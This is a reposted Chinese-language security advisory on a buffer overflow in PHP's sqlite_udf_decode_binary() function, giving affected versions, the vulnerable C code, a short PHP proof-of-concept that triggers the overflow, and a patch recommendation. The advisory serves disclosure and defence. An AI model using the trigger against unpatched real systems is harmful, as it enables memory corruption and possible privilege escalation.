您好,欢迎来一对一服务网! [请登录]  [免费注册]
咨询电话:400-008-1115
sqlite_udf_decode_binary()缓冲漏洞
http://www.otoworld.cn 2010年9月16日 10:05:31

[导读]sqlite_udf_decode_binary()函数缓冲区溢出漏洞
  受影响系统:

  PHP PHP 5 < 5.2.1

  PHP PHP 4 < 4.4.5

  不受影响系统:

  PHP PHP 5.2.1

  PHP PHP 4.4.5

  描述:

  BUGTRAQ ID: 23235

  PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

  PHP的sqlite_udf_decode_binary()函数实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞提升自己的权限。

  PHP的sqlite_udf_decode_binary()函数没有正确地处理对其传送的无效字符串。如果所传送的字符串仅包含有单个\x01字符的话,就会使用空字符串做为参数调用所捆绑sqlite库的sqlite_decode_binary()函数。但API函数并不支持这样的操作,必须使用长度至少为1的字符串调用。

  int sqlite_decode_binary(const unsigned char *in, unsigned char *out){

  int i, e;

  unsigned char c;

  e = *(in++);

  i = 0;

  while( (c = *(in++))!=0 ){

  if( c==1 ){

  c = *(in++) - 1;

  }

  out[i++] = c + e;

  }

  return i;

  }

  如果使用空字符串调用了sqlite_decode_binary()函数的话,就会跳过ASCIIZ终止符,将之后的字节拷贝到目标,直到遇到另一个ASCIIZ字符。这类似于标准的strcpy()溢出。

  <*来源:Stefan Esser (s.esser@ematters.de)

  链接:http://www.php-security.org/MOPB/MOPB-41-2007.html

  *>

  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  

  $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";

  $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";

  $x = "AQ ";

  unset($z);

  unset($y);

  $x = base64_decode($x);

  $y = sqlite_udf_decode_binary($x);

  unset($x);

  ?>

  建议:

  厂商补丁:

  PHP

  -

  厂商发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  http://www.php.net
 

本信息真实性未经本站证实,仅供参考。资料来源于互联网,如果损害到您的利益请联系我们处理。
s